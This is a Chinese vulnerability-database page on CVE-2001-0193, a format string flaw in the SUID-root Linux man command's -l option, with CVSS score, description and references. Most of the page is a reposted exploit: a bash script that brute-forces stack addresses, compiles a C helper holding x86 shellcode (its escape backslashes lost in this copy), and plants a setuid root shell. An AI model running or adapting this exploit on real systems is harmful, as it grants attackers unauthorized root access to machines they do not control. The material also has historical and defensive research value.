Linux man格式化字符串漏洞

Linux man格式化字符串漏洞

漏洞ID 1106196 漏洞类型 格式化字符串
发布时间 2001-01-31 更新时间 2005-05-02
图片[1]-Linux man格式化字符串漏洞-安全小百科CVE编号 CVE-2001-0193
图片[2]-Linux man格式化字符串漏洞-安全小百科CNNVD-ID CNNVD-200105-046
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/20604
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200105-046
|漏洞详情
一些Linux发行的man存在格式化字符串漏洞。本地用户借助畸形-l参数提升特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/2327/info

man is the manual page viewing program, available with the Linux Operating System in this implementation. It is freely distributed and openly maintained.

A problem with the man command may allow for the elevation of privileges. Due to the handling of format strings by the -l argument of the man command, it may be possible for a local user to pass format strings through the man command, which could allow a user to write to a specific address in the stack and overwrite variables, including the return address of functions on the stack. man, as implemented with some distributions of the Linux operating system, is included as an SUID root binary.

It may be possible for a malicious user with local access to execute arbitrary code on the stack, and potentially gain elevated privileges, including administrative access. 

#!/bin/bash

#	CONFIGURATION:
umask 000
target="/usr/bin/man"
tmpdir="/tmp/manexpl"
rm -rf "$tmpdir"

#       address we want to write to (ret on the stack)
#       has to be an absolute address but we brute force
#		this scanning 64 addresses from writeadr on
writeadr="0xbffff180"

#       address of the shell in our string
#		must point somewhere to our 'nop' region
shadr="0xbffff720"

#	number of nops before shellcode
declare -i nnops
nnops=128

#	brute force how many times
declare -i nbrute
nbrute=512


echo
echo "-------------------------------------------"
echo "|           local man exploit             |"
echo "|              by IhaQueR                 |"
echo "|    only for demonstrative purposes      |"
echo "-------------------------------------------"
echo

echo
echo "configured for running $target"
echo
echo "RETADR = $writeadr"
echo "SHELL  = $shadr"
echo "NOPS   = $nnops"
echo

shellfake="SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
nop="N"

#	prepare
mkdir -p "$tmpdir"
if ! test -d "$tmpdir" ; then
	echo "[-] creating working dir, exit"
	exit 1
fi;

echo "[+] created working dir"
cd "$tmpdir"
echo

#	number of nops before shellcode
declare -i nnops
nnops=128

#	make nop field
declare -i idx
idx=0

nopcode=""
head=""

while test $idx -lt $nnops; do
	nopcode="${nop}$nopcode"
	idx=$(($idx+1))
done;


#	sanity check :-)
if ! test -x $target ; then
	echo "[-] $target not found or not executable, sorry"
	exit 1
fi;

echo "[+] found $target"
echo

#	get uids
muid=$(id -u man)
ruid=$(id -u)
if ! test $muid="" || ! test $ruid="" ; then
	echo "[-] error checking ids, sorry"
	exit 2;
fi;

printf "[+] uid=%dttmid=%d" $ruid $muid
echo

declare -i cnt
declare -i cntmax
cnt=0

#	max gstring length*4
cntmax=1024


#	make string used for offset search
#	like <head><addr><nops><shellcode>
#	PP stands for padding
hstring="%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKKK${nopcode}${shellfake}"
gstring=""

#	find offset
echo "    now searching for offset"
echo

declare -i npad
declare -i ocnt
ocnt=0

while test $cnt -le $cntmax ; do
	if test $ocnt -eq 4 ; then
		ocnt=0
		echo
	fi;

	gstring="%16g$gstring"
	cnt=$(($cnt+1))
	npad=0
	padding=""

	printf "[%4d " $cnt

	while test $npad -lt 8 ; do
		echo -n " $npad"
		result=$($target -l "$gstring$hstring" -p "$padding" a 2>&1 | grep "44434241")
		if test "$result" != "" ; then
			break 2;
		fi;
		padding="P$padding"
		npad=$(($npad+1))
	done;

	echo -n " ]   "
	ocnt=$(($ocnt+1))
done

echo "]  "
echo
echo

#	found offset
declare -i offset
offset=$(($cnt * 4))

if test $cnt -gt $cntmax ; then
	echo "[-] offset not found, please tune me :-)"
	exit 2
fi;

echo "[+] OFFSET found to be $offset/$cnt pad=$npad"


#	number of bytes written so far
declare -i nwrt
nwrt=$((16*${cnt}))

echo "    now constructing magic string nwrt=$nwrt"
echo

#	we need unsigned arithmetics, simple c tool
cat <<__ATOOL__> atool.c

#include <stdio.h>

int main(int argc, char** argv)
{
int i, flip;
unsigned adr, shadr, nwrt, ruid, muid;
unsigned char* p;
unsigned addr[9];
unsigned char head[33]="%0016d%x%0016d%x%0016d%x%0016d%x";
unsigned char nop[1024];
unsigned char buf[8192];

//		IhaQueR's special code (no trojan, believe me :-)
char hellcode[]=	"x31xc0x31xdbx31xc9"
					"xb1x01xb7x02xb3x03"
					"xb0x46xcdx80"
					"x31xc0x31xdbx31xc9"
					"xb3x01xb5x02xb1x03"
					"xb0x46xcdx80"
					"x31xc0x31xdb"
					"xb3x01xb0x17xcdx80"
					"xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0f"
					"xb8x1bx56x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcd"
   					"x80x33xc0x40xcdx80xe8xd7xffxffxff./mkmsh";


//		correct hellcode for current ruid, muid
		ruid = $ruid;
		muid = $muid;
		hellcode[7] = muid & 0xff;
		hellcode[9] = (ruid >> 8 ) & 0xff;
		hellcode[11] = ruid & 0xff;
		hellcode[23]=hellcode[7];
		hellcode[25]=hellcode[9];
		hellcode[27]=hellcode[11];
		hellcode[37]=hellcode[7];

		adr = $writeadr;
		adr += atol(argv[1]);

//		address field
		for(i=0; i<4; i++) {
			addr[2*i] = adr + i;
			addr[2*i+1] = adr + i;
		}
		addr[8]=0;

//		head
		shadr = $shadr;
		nwrt = $nwrt + 0;
		p = (unsigned char*)&shadr;
		for(i=0; i<4; i++) {
			flip = (((int)256) + ((int)p[i])) - ((int)(nwrt % 256));
			nwrt = nwrt + flip;
			sprintf(head+i*8, "%%%04dx%%n", flip);
		}
		head[32] = 0;

//		nops
		for(i=0; i<$nnops; i++)
			nop[i] = 0x90;
		nop[i] = 0;

		sprintf(buf, "$target -l '%s%s%s%s%s' -p "$padding" a 2>&1", "$gstring", head, addr, nop, hellcode);
		system(buf);
}
__ATOOL__

#	helper apps
rm -f atool
gcc atool.c -o atool
if ! test -x atool ; then
	echo "[-] compilation error, exiting"
	exit 3
fi;

echo "[+] compiled address tool"

#	mansh
cat <<__MANSH__> mansh.c
main(int argc, char** argv)
{
	setreuid($muid, $ruid);
	execv("/bin/sh", argv);
}
__MANSH__

rm -rf mansh
rm -rf umansh
gcc mansh.c -o umansh
if ! test -x umansh ; then
	echo "[-] compilation error, exiting"
	exit 4
fi;

echo "[+] compiled mansh"

#	mkmsh
cat <<__MKMSH__> mkmsh
#!/bin/bash
cp umansh mansh
chmod u+s mansh
__MKMSH__
chmod a+x mkmsh

if ! test -x mkmsh ; then
	echo "[-] compilation error, exiting"
	exit 5
fi;

echo "[+] mkmsh ready"


#	brute force
echo "    now brute force, wait..."
echo

idx=0
ocnt=1
umask 022

while test $idx -lt $nbrute ; do
	result=$(atool "$(($idx*4))")
	if test -x mansh ; then
		echo
		echo
		echo "[+] SUCCESS"
		echo
		echo "    suid man shell at $tmpdir/mansh"
		echo
		exit 6
	fi;
	printf "[%4d] " $idx
	if test $ocnt -eq 16 ; then
		ocnt=0;
		echo
	fi;
	idx=$(($idx+1))
	ocnt=$(($ocnt+1))
done;

#	cleanup
echo
echo "[-] FAILED, tune writeadr, shadr, nnops, nbrute, etc."
echo
echo
rm -rf "$tmpdir"

--------------60A11DEE53A9281CA54089A7--
|参考资料

来源:BID
名称:2327
链接:http://www.securityfocus.com/bid/2327
来源:DEBIAN
名称:DSA-028
链接:http://www.debian.org/security/2001/dsa-028
来源:BUGTRAQ
名称:20010131SuSe/Debianmanpackageformatstringvulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=98096782126481&w;=2
来源:XF
名称:man-i-format-string(6059)
链接:http://xforce.iss.net/xforce/xfdb/6059

相关推荐: Sun Solaris Directory Creation Kernel Panic Vulnerability

Sun Solaris Directory Creation Kernel Panic Vulnerability 漏洞ID 1096780 漏洞类型 Unknown 发布时间 2005-04-25 更新时间 2005-04-25 CVE编号 N/A CNNV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享